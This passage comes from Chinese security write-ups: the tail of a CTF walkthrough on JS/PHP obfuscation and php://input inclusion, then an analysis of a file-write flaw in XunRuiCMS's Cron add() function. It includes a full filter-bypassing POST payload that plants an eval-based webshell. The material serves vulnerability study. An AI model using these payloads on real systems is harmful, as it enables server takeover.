得到Key。post提交key=3e9220818780da69c1df739fa7564ada到index.php?cmd=id即可执行任意命令,最终getshell。
**
**
**0x03 高分靶机:**
最后是一道代码混淆的题目, JS混淆和PHP混淆。首先我们看看JS代码:
var _0x6788=["x39x28x22u200Du200Bu200Du200Cu200Du200CuFEFFu200Du200Du200BuFEFFu200CuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Bu200Du200Cu200Du200Du200Du200Bu200Cu200DuFEFFu200Bu200Bu200DuFEFFu200CuFEFFuFEFFuFEFFu200Cu200Du200BuFEFFu200BuFEFFu200Bu200Du200Cu200Du200DuFEFFu200Bu200Cu200DuFEFFu200BuFEFFu200CuFEFFu200BuFEFFu200CuFEFFu200BuFEFFuFEFFuFEFFu200Bu200CuFEFFuFEFFu200BuFEFFu200DuFEFFu200Bu200CuFEFFuFEFFu200Bu200Du200BuFEFFu200Bu200CuFEFFuFEFFu200BuFEFFuFEFFu200Du200Cu200DuFEFFu200Du200CuFEFFu200DuFEFFu200Bu200Du200CuFEFFu200Bu200Cu200Du200Du200CuFEFFu200BuFEFFu200BuFEFFu200Du200Du200Cu200DuFEFFu200Du200Cu200Du200CuFEFFu200Bu200Du200BuFEFFu200BuFEFFu200BuFEFFu200Bu200Cu200Du200Du200Cu200Du200Cu200Du200CuFEFFu200DuFEFFu200Bu200Du200BuFEFFu200Bu200Du200DuFEFFu200Bu200Du200CuFEFFu200Bu200DuFEFFu200Du200CuFEFFu200Du200Du200Cu200DuFEFFu200Du200CuFEFFu200DuFEFFu200Cu200Du200BuFEFFu200Bu200Cu200Bu200Du200CuFEFFu200Bu200Du200Cu200Bu200Bu200Du200Cu200Bu200Cu200Du200BuFEFFu200Bu200Du200Cu200Bu200Bu200Du200Cu200BuFEFFu200Du200Cu200Du200DuFEFFu200Cu200Bu200Cu200Du200Cu200BuFEFFu200Du200Cu200Bu200Bu200Du200Cu200Du200BuFEFFu200Cu200CuFEFFuFEFFu200Cu200Du200Bu200Du200Bu200Du200Bu200Du200Cu200CuFEFFu200Du200Cu200Du200Du200Du200BuFEFFu200Cu200Du200Cu200Du200DuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Du200Du200BuFEFFu200BuFEFFu200CuFEFFuFEFFu200Du200Bu200DuFEFFu200Du200Cu200CuFEFFu200Du200Cu200Du200DuFEFFu200CuFEFFuFEFFu200Du200Cu200Cu200Bu200Du200Cu200Du200Du200Du200Bu200Cu200DuFEFFu200Bu200Bu200BuFEFFu200Cu200Du200BuFEFFu200Cu200Cu200DuFEFFu200Bu200Cu200Bx22x2Ex30x28x2Fx2Ex7Bx34x7Dx2Fx67x2Cx33x28x61x29x7Bx63x20x35x3Dx7Bx22u200Bx22x3Ax22x38x22x2Cx22u200Cx22x3Ax22x36x22x2Cx22u200Dx22x3Ax22x37x22x2Cx22uFEFFx22x3Ax22x62x22x7Dx3Bx31x20x65x2Ex64x28x66x28x61x2Ex30x28x2Fx2Ex2Fx67x2Cx33x28x61x29x7Bx31x20x35x5Bx61x5Dx7Dx29x2Cx32x29x29x7Dx29x29x28x29","x7C","x73x70x6Cx69x74","x72x65x70x6Cx61x63x65x7Cx72x65x74x75x72x6Ex7Cx7Cx66x75x6Ex63x74x69x6Fx6Ex7Cx7Cx72x65x70x7Cx31x30x7Cx30x31x7Cx31x31x7Cx46x75x6Ex63x74x69x6Fx6Ex7Cx7Cx30x30x7Cx76x61x72x7Cx66x72x6Fx6Dx43x68x61x72x43x6Fx64x65x7Cx53x74x72x69x6Ex67x7Cx70x61x72x73x65x49x6Ex74x7C","x72x65x70x6Cx61x63x65","","x5Cx77x2B","x5Cx62","x67"];eval(function(_0xc8b9x1,_0xc8b9x2,_0xc8b9x3,_0xc8b9x4,_0xc8b9x5,_0xc8b9x6){_0xc8b9x5=function(_0xc8b9x3){return _0xc8b9x3.toString(36)};if(!_0x6788[5][_0x6788[4]](/^/,String)){while(_0xc8b9x3--){_0xc8b9x6[_0xc8b9x3.toString(_0xc8b9x2)]=_0xc8b9x4[_0xc8b9x3]||_0xc8b9x3.toString(_0xc8b9x2)};_0xc8b9x4=[function(_0xc8b9x5){return _0xc8b9x6[_0xc8b9x5]}];_0xc8b9x5=function(){return _0x6788[6]};_0xc8b9x3=1;};while(_0xc8b9x3--){if(_0xc8b9x4[_0xc8b9x3]){_0xc8b9x1=_0xc8b9x1[_0x6788[4]]( new RegExp(_0x6788[7]+_0xc8b9x5(_0xc8b9x3)+_0x6788[7],_0x6788[8]),_0xc8b9x4[_0xc8b9x3])}};return _0xc8b9x1;}(_0x6788[0],17,17,_0x6788[3][_0x6788[2]](_0x6788[1]),0,{}));
把eval改成console.log运行看看,得到:
Function("".replace(/.{4}/g,function(a){var
rep={"":"11","":"10","":"01","":"00"};return
String.fromCharCode(parseInt(a.replace(/./g,function(a){return
rep[a]}),2))}))()
再将Function改为成console.log,删去结尾的()即可得到:
var key= '3e9220818780da69c1df739fa7564ada';console.log('where is the key?');
这里的JS其实是用unicode的零宽空白符(会使字符串看起来长度是0)替换了字符串二进制的0和1:'uFEFF'替换'00','u200d'替换'01',
'u200c'替换'10','u200b'替换'11'。最终执行的时候再替换回来。但是很显然一个console.log就可以解决它。
再看看PHP代码:
<?php
error_reporting(0);
function z‹†“–‘˜€˜•($›œž,$s){global $™—˜‘“;$›œž1 = "";foreach ($™—˜‘“(";",$›œž) as $obj){$›œž1 .= chr($obj+ord($s));}return $›œž1;}
function –($–,$ƒ=""){global $üúûù,$”›,$”Œ’Ž”;if(empty($ƒ)){return base64_decode($–);}else{if(!(($”›))){$”› = $”Œ’Ž”;}return –($üúûù(–(z‹†“–‘˜€˜•($–,$ƒ)),$”›("üúûù™—˜‘“œ…––—Ž")));}}function Ÿ‰($“‰–”„–){eval($“‰–”„–);}
$üúûù = –("Z3p1bmNvbXByZXNz");$™—˜‘“ = –("ZXhwbG9kZQ=="); $”Œ’Ž” = –("aW50dmFs"); $’šˆb = –("YXJyYXlfbWFw");
$”› = –("52;16;20;17;18;16;19;2;-2;1;21;39;29;35;17;58;49;36;41;73;18;2;36;18;64;16;12;12;","11;-25;-21;");
$œ…––—Ž = –("11;-25;-21;-24;-23;-25;-22;-39;-43;-41;18;-1;-6;20;22;7;-3;-21;21;29;-22;-15;-17;-23;22;13;-29;-29;","Z3p1bmNvbXByZXNz");
$œ…– = –("2;-34;-30;-33;-32;-34;-31;-48;-52;-50;13;-10;-12;10;5;6;-18;-15;-51;-42;-31;-28;-10;-32;8;4;-38;-38;","c3RyX3NwbGl0");
$’šˆb("Ÿ‰",array(–("53;17;21;18;19;17;58;3;9;1;64;69;38;62;38;42;29;1;26;71;41;58;25;0;42;74;34;70;33;1;60;5;30;40;64;64;49;21;68;29;49;39;52;28;41;59;30;69;41;0;68;34;30;23;9;20;30;58;34;70;33;3;52;4;41;58;34;70;35;59;56;31;38;23;34;25;35;40;30;26;33;1;26;6;37;74;26;39;30;37;68;36;33;58;52;26;33;39;9;27;35;59;9;28;34;39;9;1;35;0;22;67;36;40;38;58;30;23;9;20;39;36;34;70;33;2;29;0;50;0;30;38;52;3;18;18;42;1;18;36;34;23;60;62;35;59;1;70;35;39;59;71;29;21;9;5;29;20;18;30;34;24;30;0;36;40;64;42;30;0;72;37;36;36;38;32;53;36;18;6;36;0;34;74;52;21;5;21;33;36;52;29;38;21;0;74;36;3;59;71;29;37;5;21;51;3;34;31;38;23;51;3;36;22;34;38;29;37;9;5;29;24;60;32;34;24;30;4;36;62;64;74;52;21;1;37;49;74;52;31;34;24;30;6;36;3;64;22;30;0;72;37;35;36;34;32;53;36;17;72;36;61;64;74;52;21;1;6;34;36;52;29;38;22;38;5;36;3;59;71;53;59;9;21;51;3;34;31;34;23;51;3;36;22;34;26;30;0;72;37;36;36;34;32;53;59;38;4;36;3;64;22;29;21;9;5;29;20;18;31;34;24;30;0;36;59;34;34;30;0;60;64;52;2;60;56;39;21;5;65;36;39;64;18;53;21;5;36;35;40;18;32;52;2;9;27;35;59;1;56;37;2;41;66;35;0;22;69;42;37;68;18;50;1;30;18;31;37;60;32;35;0;22;66;53;39;52;64;36;22;34;34;30;0;72;37;37;40;52;32;53;36;18;6;36;61;64;74;52;21;1;6;49;74;52;29;38;21;0;71;36;3;59;71;29;21;1;21;51;3;34;30;53;61;29;3;36;60;34;74;52;21;5;37;42;74;52;29;38;22;37;73;36;3;64;58;30;0;1;37;34;36;52;29;38;23;29;3;36;22;34;30;53;59;9;5;29;24;60;31;53;62;30;0;36;0;34;74;52;21;1;37;49;74;52;30;38;24;30;6;36;3;64;22;53;37;9;5;29;24;56;32;34;24;30;6;36;3;59;71;53;21;9;5;29;24;60;30;49;62;30;0;36;38;34;38;30;0;1;6;51;3;60;32;53;59;37;73;36;3;59;71;53;37;5;65;51;3;34;30;38;23;29;3;36;22;34;22;30;37;9;6;35;36;52;29;38;21;60;6;36;3;59;71;29;37;5;65;51;3;34;30;38;22;37;3;36;22;34;38;29;59;9;5;29;24;56;31;38;24;30;0;36;40;64;42;30;0;72;37;34;36;52;29;38;21;59;74;36;3;59;71;53;37;5;37;51;3;34;30;38;23;51;3;36;38;34;22;30;0;72;37;37;36;38;32;53;36;18;6;36;0;34;74;52;21;1;6;39;36;52;29;38;22;37;74;36;3;59;71;29;21;5;21;51;2;60;29;33;0;64;71;41;74;26;30;53;37;1;21;34;36;22;26;49;39;67;3;33;2;52;66;49;74;34;70;33;74;37;0;50;0;30;64;53;36;34;57;34;61;9;58;38;74;60;3;50;74;56;62;37;22;30;21;49;39;52;27;36;39;9;26;49;36;17;71;36;3;59;71;29;21;1;21;51;3;34;30;53;60;59;3;36;22;34;30;30;37;9;5;29;24;64;31;53;62;30;0;36;59;34;18;30;0;72;37;36;36;30;32;53;59;37;74;36;3;59;71;29;37;9;21;51;3;34;31;38;22;59;3;36;62;64;74;52;21;1;37;39;36;52;29;38;23;51;3;36;22;34;30;53;59;9;5;29;20;22;32;53;59;21;3;36;22;34;26;53;59;9;6;34;36;30;32;53;59;0;3;36;1;34;74;52;21;1;37;42;74;52;30;53;62;30;0;36;40;64;42;30;0;72;37;37;36;34;32;53;36;18;5;36;60;34;74;52;21;1;65;36;36;52;30;38;21;0;3;36;22;34;26;30;37;9;5;29;24;64;32;38;24;30;0;36;59;34;18;30;0;72;37;35;36;18;32;53;36;17;71;36;59;34;74;49;37;72;20;35;62;18;58;29;59;1;5;36;37;34;22;29;37;60;64;49;74;52;20;42;2;68;66;38;40;64;31;49;61;30;65;36;60;38;26;34;20;18;62;41;60;52;34;29;37;68;25;36;58;22;42;50;59;4;71;41;2;60;62;49;3;56;71;35;57;8;0;50;0;30;59;30;23;9;20;49;21;68;24;38;62;38;49;33;2;52;66;30;23;9;20;30;36;34;70;33;2;60;5;30;23;26;23;50;2;30;40;31;40;52;70;31;23;9;27;53;36;56;69;36;21;30;35;42;60;37;71;38;60;30;39;49;1;42;36;38;3;60;27;37;38;30;23;33;61;42;38;29;22;42;30;37;61;60;27;42;21;68;36;49;3;18;29;34;21;22;74;36;22;34;30;53;37;68;36;49;74;52;20;42;2;68;66;38;40;64;31;49;61;30;65;36;60;38;26;34;20;18;62;41;60;52;34;29;37;68;25;36;58;22;42;50;59;4;71;41;2;60;62;49;1;38;6;36;61;64;58;49;59;5;38;36;21;34;22;52;0;68;36;49;74;52;20;42;2;72;71;39;61;60;62;49;74;34;70;37;2;59;0;50;0;30;38;53;36;38;6;49;39;52;27;49;61;60;62;35;62;64;64;42;0;64;37;33;2;68;20;42;2;68;4;51;21;63;70;30;23;9;20;42;20;34;70;33;2;56;28;34;1;42;1;39;59;30;62;49;74;34;70;33;74;37;0;50;0;30;64;53;36;34;57;34;61;9;58;38;74;60;3;50;74;56;70;35;62;59;4;50;59;72;20;37;61;42;38;29;22;42;36;38;61;68;39;37;1;52;5;35;60;22;36;34;59;26;61;38;36;18;39;36;38;26;64;35;61;34;28;37;2;68;71;36;21;29;71;53;59;1;64;49;2;52;26;38;20;18;62;35;59;42;30;53;60;59;74;35;40;64;39;33;2;71;3;33;2;52;66;35;60;64;41;49;24;18;59;33;2;52;71;36;3;52;70;35;61;42;34;50;0;64;27;36;39;22;36;42;57;68;28;33;39;5;60;35;0;22;70;37;0;21;5;35;37;9;28;33;39;68;5;42;2;60;29;38;22;21;3;36;22;34;34;52;0;9;5;29;24;64;31;49;62;30;0;36;40;64;66;30;0;72;37;36;36;34;32;53;36;17;71;36;37;34;74;52;21;1;6;41;74;52;29;38;22;37;71;36;3;59;71;29;37;9;21;51;3;34;31;38;22;37;3;36;22;34;26;30;21;9;6;34;36;30;32;53;36;18;5;36;37;34;74;29;37;9;6;36;36;52;30;34;24;30;0;36;39;64;30;30;0;72;37;38;36;26;32;53;36;18;4;36;60;34;74;52;21;5;37;39;36;52;29;38;21;0;74;36;3;59;71;53;59;5;65;51;3;56;31;34;24;30;0;36;40;64;62;30;0;72;37;38;36;26;32;53;36;18;5;36;3;59;71;29;21;5;21;51;3;34;31;34;22;21;3;35;39;60;3;49;39;22;41;36;61;64;30;49;59;22;4;36;60;30;26;51;21;9;3;50;0;64;27;36;0;68;18;52;39;38;28;33;39;9;74;52;37;52;4;41;37;56;23;52;61;30;28;37;21;60;21;29;23;51;0;50;0;30;37;35;0;30;26;52;21;5;21;51;3;34;31;34;21;21;3;36;22;34;30;29;59;9;5;29;24;64;32;38;24;30;0;36;40;64;66;30;0;72;37;37;40;52;32;53;36;18;6;36;62;64;74;52;21;5;37;33;36;52;29;38;22;37;0;36;3;59;71;29;37;5;37;51;3;34;30;53;59;59;3;36;38;34;58;30;0;72;37;35;40;60;32;53;60;21;3;36;38;34;18;30;0;72;37;36;36;30;32;53;36;18;6;36;38;34;74;52;21;5;21;33;36;52;29;38;21;0;72;36;3;59;71;53;37;9;37;51;2;60;29;33;0;64;71;41;74;26;30;53;37;1;21;34;36;22;26;49;39;67;3;33;2;52;66;49;74;34;70;37;2;59;0;50;0;30;38;53;36;38;6;49;39;52;27;49;61;60;62;35;62;64;64;42;0;64;37;33;2;68;20;33;36;60;26;36;0;68;18;49;3;60;62;49;37;5;65;49;74;52;30;53;59;0;3;36;40;64;58;30;0;1;6;37;36;52;30;53;60;37;3;36;40;64;30;30;0;1;6;39;36;52;30;38;23;67;3;36;38;34;38;30;0;1;37;42;74;52;31;34;22;37;3;36;1;34;18;30;0;5;37;37;36;52;31;53;61;29;3;36;62;64;42;30;0;5;6;37;36;52;31;34;22;37;3;36;38;34;58;30;0;5;21;35;36;52;30;49;59;37;3;36;40;64;38;30;0;1;65;38;36;52;31;53;59;37;3;36;40;64;38;30;0;9;21;37;36;52;32;34;23;29;3;36;39;64;66;30;0;1;65;49;74;52;26;49;40;52;64;35;37;52;67;53;60;60;6;35;40;52;30;38;22;38;64;35;1;34;74;35;0;60;20;33;39;52;26;33;1;34;23;50;0;1;40;42;3;56;56;35;23;60;62;51;40;64;20;49;58;56;40;42;3;52;71;29;2;60;62;36;23;67;5;35;37;51;72;49;61;30;69;50;24;52;59;34;58;60;66;39;60;52;31;53;39;38;41;33;58;18;28;33;0;22;62;33;2;52;66;42;0;60;20;33;39;52;37;38;37;5;36;38;1;42;19;38;38;55;72;35;59;64;36;49;74;38;22;37;38;38;39;36;38;56;6;34;40;60;32;33;3;52;62;35;37;22;70;35;59;60;20;33;39;52;26;33;1;26;6;37;74;26;39;30;37;72;20;33;39;52;20;42;2;68;62;35;37;30;18;42;1;60;68;34;62;64;49;38;22;59;71;39;20;26;35;50;22;59;73;31;39;68;49;37;2;52;66;41;74;22;31;29;23;30;64;49;3;30;26;33;0;22;28;33;1;30;18;42;0;60;20;33;59;5;34;29;37;64;49;38;37;42;35;42;60;34;38;31;37;38;35;38;58;60;23;37;36;18;26;42;0;60;18;50;0;64;20;37;2;67;3;35;37;30;18;35;0;60;20;33;39;52;26;33;1;26;66;39;60;52;31;42;61;30;5;33;36;60;26;33;1;34;24;49;2;4;70;49;39;52;27;29;2;60;62;35;0;38;70;35;59;1;40;42;3;56;56;34;21;42;70;42;37;68;20;51;59;1;28;37;24;56;56;34;21;30;69;42;37;68;18;52;38;30;66;30;0;60;20;33;37;68;26;33;0;22;62;35;37;30;35;52;1;60;40;37;61;68;56;38;74;38;69;35;37;33;71;42;0;64;32;35;0;22;1;42;37;68;18;50;3;30;1;34;3;56;56;35;21;42;2;41;0;68;33;35;0;30;37;34;61;9;30;38;2;52;4;41;37;56;64;42;3;22;6;33;2;63;4;38;2;52;3;51;20;30;64;42;0;72;67;41;59;64;24;37;61;72;42;29;36;60;6;36;22;34;23;42;21;68;37;51;2;52;26;33;39;9;62;35;37;30;18;42;0;64;30;38;2;52;4;41;37;34;23;50;2;38;28;33;3;26;30;35;1;18;4;41;37;34;20;50;61;38;28;33;40;38;36;33;36;60;26;33;1;34;64;49;21;68;29;49;39;52;27;38;21;72;69;36;0;68;18;50;37;9;28;33;39;5;32;35;0;22;67;36;37;68;34;35;0;30;37;34;61;9;30;38;2;52;4;41;37;56;64;42;3;22;6;33;2;63;4;38;2;52;3;51;20;30;64;42;0;72;66;51;0;60;21;33;40;30;26;33;74;18;66;41;0;52;23;49;1;64;24;50;24;38;49;53;39;67;3;35;37;30;18;35;0;60;20;33;39;52;26;35;21;64;67;42;21;56;39;53;39;26;64;33;39;68;4;41;37;34;23;50;0;1;40;49;20;34;70;35;3;30;3;50;73;9;23;50;0;1;28;42;20;34;70;33;74;38;32;53;37;22;62;33;2;4;71;30;0;60;18;32;36;1;63;40;6;74;40;","0kee")));
$’šˆb("Ÿ‰",array(–((‘˜™…›‰ž("1fGsxIV2paz+B/yIQElTwo9kHRBDAtOH3bYAOYktnpKiS9r+7E4Vgr6pOOy2y9eiBHbDIJVTCvLtYSL8tjmFKclsqE9DWXP0ikJpf9yRIE/xayuvX/AKt63hjzRTIB7iPDdEzNrZ/cHkhnEW12x2g0mlP/aywbi539SvzH61EtYTepNAQSxDD6KrVW3JewNmwdjJkPYhN2KH+kINCObzCU3bg+Fq+ACeGdqoe4KKLnEVWMVL/FkkgETEkh/IBhqmJKISQtb1JcY8NG3zLszjYp3HIxdpZsx6DjgzWrPbeA+rAKpl2JeFTFMzt3IKw0H4NCgj3XbkRZNkCHbXqRRUYjS29BzlocMHKniqo+5b9J+A1/GtFmDAxjir5g1I1ywTNa39VpVoKEaSal1q2yd/DpYKTCJRUNyiMocqDwaSm8sJTwMxAZfMu20EZTewEHzZFvKImifta1vcBY/gpLlEq4pIw8D+AmO4nQh+fdoMIu8=",$_GET['key'])))));
?>290a1791da62e758b6bcc21057a2b74b
这里用到了什么原理呢?PHP的变量支持latin1 字符的范围,也就是ASCII:0-255(x00-xff),我们写个PHP脚本测试一下:
<?php
for($i = 0; $i <= 255; $i++){
$tmp = $i;
if(is_null(@eval('$'.chr($i)."='0';"))){
$i = $tmp;
echo "\x".dechex($i)."<br>";
}
}
?>
最终程序输出的ASCII就是PHP合法的变量名。
"A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z,
_, a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y,
z, , ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,
?, ?, ?, ?, ?, ?, ?, ?, , ¡, ¢, £, ¤, ¥, ¦, §, ¨, ©, ª, «, ¬, , ®, ¯, °, ±,
², ³, ´, µ, ¶, ·, ¸, ¹, º, », ¼, ½, ¾, ¿, À, Á, Â, Ã, Ä, Å, Æ, Ç, È, É, Ê, Ë,
Ì, Í, Î, Ï, Ð, Ñ, Ò, Ó, Ô, Õ, Ö, ×, Ø, Ù, Ú, Û, Ü, Ý, Þ, ß, à, á, â, ã, ä, å,
æ, ç, è, é, ê, ë, ì, í, î, ï, ð, ñ, ò, ó, ô, õ, ö, ÷, ø, ù, ú, û, ü, ý, þ, ÿ"
而上面那一段混淆后的PHP代码就是使用这些字符做变量名。清楚了这一点之后,只需把他们当作普通变量名,跟着流程耐心替换走一遍就行。
结合之前得到的Key,从混淆的PHP源码中得到:
function filterIllegalChar($name){
if(preg_match('/(http|.|/.+/)/i', $name)){
die("file is illegal");
}else{
return $name;
}
};
$file = filterIllegalChar($_GET['0kee_360_cn']);
include($file);
filterIllegalChar过滤了http和../,那么可以利用php://input输入流来突破,如下:
challenge.php?key=3e9220818780da69c1df739fa7564ada&0kee_360_cn=php://input,同时post提交<?php
phpinfo(); ?>
即可getshell。 | 社区文章 |
# 触发条件
两个条件:
1.迅睿CMS 版本为v4.3.3到v4.5.1
2.登录后台,且为管理员或具有"应用"->"任务队列"的管理权限
# 漏洞描述
Admin控制器文件夹下Cron.php控制器的add()函数对于用户的输入没有进行专门的过滤,致使攻击者在具备管理员权限或具有"应用"->"任务队列"的管理权限时可以对`WRITEPATH.'config/cron.php'`文件写入任意内容,同时该文件有多处被包含且可以被利用的点,正常情况下具有上述的触发条件即可稳定触发该漏洞
# 环境搭建
1.安装并配置好php与web中间件,注意该cms的低版本需要php的低版本
2.clone该cms的官方开源地址<https://gitee.com/dayrui/xunruicms>
3.通过搜索commit信息里的版本号,回退到指定的版本
在PhpStorm里,右键指定的commit版本,选择"Reset Current Branch to Here"
选择"Hard",点击"Reset"
4.访问,安装,登陆后台
后台地址:`/admin.php`
# 漏洞原理
## 在版本v4.3.3到v4.5.0下
1.该cms在具备上述权限的情况下,可以通过`http://host:port/Admin.php?c=Cron&m=add`调用Admin控制器文件夹下Cron.php控制器的add()函数
2.add()函数的代码:
// 任务类型
public function add() {
$json = '';
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
$data = json_decode($json, true);
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data', true);
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
}
\Phpcmf\Service::V()->assign([
'data' => $data,
]);
\Phpcmf\Service::V()->display('cron_add.html');
}
### add()函数的分析
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
add()函数首先会在`WRITEPATH.'config/cron.php'`文件存在时包含该文件,`WRITEPATH`可在网站根目录的index.php里配置,默认情况下为网站根目录下的`cache/`
此处还未生成该文件:
$json = '';
$data = json_decode($json, true);
然后add()函数通过`json_decode($json, true)`函数给`$data`赋值`Null`
if (IS_AJAX_POST){}
然后进入一个if分支语句,当`IS_AJAX_POST`时,则执行相关的写入文件的代码,否则则跳过写入文件,显示Cron的添加页面,随即结束add()函数,`IS_AJAX_POST`定义为当收到post请求且post的内容不为空时即返回`TRUE`,否则返回`FALSE`
$post = \Phpcmf\Service::L('input')->post('data', true);
if语句中,首先`\Phpcmf\Service::L('input')->post('data',
true)`该代码通过调用Input.php文件里定义的Input类的post()函数,在接收到post请求且存在key为`data`时进行xss清洗然后返回,否则直接返回`false`,然后赋值给`$post`,xss清洗的代码比较长,我就不贴了,此处的xss清洗可以轻易的绕过,从而达到写入我们想要的任意内容
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
if语句中,接收完post请求,即将接收到的内容通过json编码后写入`WRITEPATH.'config/cron.php'`文件,可控的写入点位于字符串`$json`的赋值中,且在两个`'`的包裹中,此处是漏洞产生的主要原因,未对用户的输入做足够的判断或清洗即写入相应的文件
在/Admin.php?c=Cron&m=add页面不添加内容直接点击保存时生成的cron.php:
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
if语句的最后,写入日志并显示操作结果,随即显示cron添加界面,add()函数结束
### 绕过json编码和xss清洗以及`WRITEPATH.'config/cron.php'`文件中`'`的包裹
通过前文的分析,我们可以发现,add()函数对用户的输入基本没有特殊的防范,只要绕过xss清洗和json编码以及`WRITEPATH.'config/cron.php'`文件中`'`的包裹即可写入我们想要的任意内容
以下是我的一个思路:把会被检测到的字符或字符组合,通过各种编码进行绕过
比如`<`会被检测到,那就把`<`编码成base64或html,然后通过php内的函数再解码
下面是我的一个方法,在`WRITEPATH.'config/cron.php'`文件中写入了当运行`WRITEPATH.'config/cron.php'`文件时在网站根目录写一个名为webshell.php,内容为`<?php
eval(@$_POST["password"]);?>`的文件的php语句
注意下述操作需要先获取csrf_test_name,获取方法:
1.访问`http://host:port/Admin.php?c=Cron&m=add`
2.抓包当点击"保存"时发送的post包
3.post的内容里的csrf_test_name即可一直用作一段时间内的csrf_test_name
获取到csrf_test_name之后,给`http://host:port/Admin.php?c=Cron&m=add`post以下内容:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA==').'@$_POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;'%5D
经过url解码后为:
isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
绕过json编码和xss清洗后,写入`WRITEPATH.'config/cron.php'`文件中的内容为:
<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']"}}';
此post内容中的关键处为
[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
绕过json编码和xss清洗后,此处的内容变为:
[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA==').'@$_POST['.base64_decode('Ig==').'password'.base64_decode('Ig==').']'.base64_decode('KQ==').';?'.htmlspecialchars_decode('>'));return;']
闭合了`WRITEPATH.'config/cron.php'`文件中`'`的包裹
### 包含写入的`WRITEPATH.'config/cron.php'`文件
通过前面对add()函数的分析,调用add()函数时会首先在`WRITEPATH.'config/cron.php'`文件存在时包含`WRITEPATH.'config/cron.php'`文件,因此直接访问`http://host:port/Admin.php?c=Cron&m=add`即可
访问`http://host:port/Admin.php?c=Cron&m=add`后,在网站根目录下会生成一个名为webshell.php的文件,文件内容为`<?php
eval(@$_POST["password"]);?>`
## 版本v4.5.1
add()函数的代码:
// 任务类型
public function add() {
$json = '';
if (is_file(WRITEPATH.'config/cron.php')) {
require WRITEPATH.'config/cron.php';
}
$data = json_decode($json, true);
if (IS_AJAX_POST) {
$post = \Phpcmf\Service::L('input')->post('data');
if ($post && is_array($post)) {
foreach ($post as $key => $t) {
if (!$t || !$t['name']) {
unset($post[$key]);
}
$post[$key]['name'] = dr_safe_filename($t['name']);
$post[$key]['code'] = dr_safe_filename($t['code']);
}
} else {
$post = [];
}
file_put_contents(WRITEPATH.'config/cron.php',
'<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');'.PHP_EOL.' $json=\''.json_encode($post).'\';');
\Phpcmf\Service::L('input')->system_log('设置自定义任务类型');
$this->_json(1, dr_lang('操作成功'));
}
\Phpcmf\Service::V()->assign([
'data' => $data,
]);
\Phpcmf\Service::V()->display('cron_add.html');
}
版本v4.5.1相较之前的版本,在获取post的内容时,修改了如下的代码:
$post = \Phpcmf\Service::L('input')->post('data',true);
改为
$post = \Phpcmf\Service::L('input')->post('data');
post()函数的第二个参数为是否进行xss清洗,因为post()函数第二个参数的默认值为`true`,所以这处改动理论上不造成任何影响
同时,在获取post的内容后,进行`WRITEPATH.'config/cron.php'`文件的写入前,增加了如下的代码:
if ($post && is_array($post)) {
foreach ($post as $key => $t) {
if (!$t || !$t['name']) {
unset($post[$key]);
}
$post[$key]['name'] = dr_safe_filename($t['name']);
$post[$key]['code'] = dr_safe_filename($t['code']);
}
} else {
$post = [];
}
上述代码先判断post的内容是否存在且为数组,不符合则将post的内容置为空数组,满足则遍历post的内容,如果post的内容里某个键值对的value不存在或某个键值对的value的`'name'`key的value不存在,则销毁该键值对,然后将每个键值对的value的`'name'`key和`'code'`key通过dr_safe_filename()函数清洗,以下为dr_safe_filename()函数的代码:
/**
* 安全过滤文件及目录名称函数
*/
function dr_safe_filename($string) {
return str_replace(
['..', "/", '\\', ' ', '<', '>', "{", '}', ';', ':', '[', ']', '\'', '"', '*', '?'],
'',
(string)$string
);
}
### 绕过json编码,xss清洗,dr_safe_filename()函数的过滤和WRITEPATH.'config/cron.php'文件中'的包裹
此处我们先不尝试绕过dr_safe_filename()函数,而是尝试另一个极其简单的方法
通过对xss清洗函数的审计和版本v4.5.1add()函数新增加的代码的审计,可以发现对于数组的key没有任何过滤,包括多维数组的每一维度的key,所以此处可以通过修改post的内容中的key来写入我们想要的任意内容
以下是我的一个思路:把要写入的文件或要执行的代码,进行各种编码,然后通过php的函数进行解码
比如把`<?="";phpinfo();?>`编码成base64或html,然后通过php内的函数解码
